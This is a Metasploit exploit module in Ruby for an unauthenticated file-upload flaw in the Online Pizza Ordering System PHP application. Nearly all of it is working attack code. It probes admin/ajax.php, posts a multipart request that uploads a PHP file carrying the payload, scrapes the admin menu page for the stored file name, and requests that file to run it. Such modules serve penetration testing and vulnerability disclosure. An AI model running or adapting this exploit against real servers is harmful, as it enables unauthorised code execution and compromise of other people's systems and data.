##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Online Pizza Ordering System PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Online Pizza Ordering System By abusing the
        admin_class.php file, a malicious user can upload a file to the img/ directory
        without any authentication, which results in arbitrary code execution. The module
        has been tested successfully on Ubuntu 22.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Sefa Ozan' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Online Pizza Ordering System', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2023-09-11',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to Online Pizza Ordering System', '/php-opos'])
        ])
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "admin", "ajax.php")
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
    boundary = Rex::Text.rand_text_hex(7)

    post_data = "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"id\"\r\n\r\n\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n"
    post_data << "#{boundary}\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"description\"\r\n\r\n"
    post_data << "#{boundary}\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"status\"\r\n\r\n"
    post_data << "on\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"category_id\"\r\n\r\n"
    post_data << "3\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"price\"\r\n\r\n"
    post_data << "1\r\n"
    post_data << "-----------------------------#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"img\"; filename=\"#{payload_name}\"\r\n\r\n\r\n"
    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"
    post_data << "-----------------------------#{boundary}--\r\n"

    print_status("Sending PHP payload (#{payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "admin", "ajax.php?action=save_menu"),
      'ctype'  => "multipart/form-data; boundary=---------------------------#{boundary}",
      'data'   => post_data
    })

    # If the server does not return 200 and the body does not contain 1,
    # we assume we couldn't uploaded the malicious php file.
    if not res or res.code != 200 or !res.body.include?("1")
      print_error("File wasn't uploaded, aborting!")
      return
    end

    #Geting our malicious php file's exact name on the server.
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "admin", "index.php?page=menu")
    })

    # Trying to find our malicious file's name on the server with this ugly regex.
    if res and res.body.include?("#{payload_name}")
      match = res.body.match('data\-name="' + boundary + '" data\-status="1" data\-description="' + boundary + '" data\-price="1" data\-category_id="3"  data\-img_path="(.*?' + payload_name + ')">Edit<')[1]
    end

    print_status("Executing PHP payload")
    # Executing our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "assets", "img", "#{match}")
    })
  end
end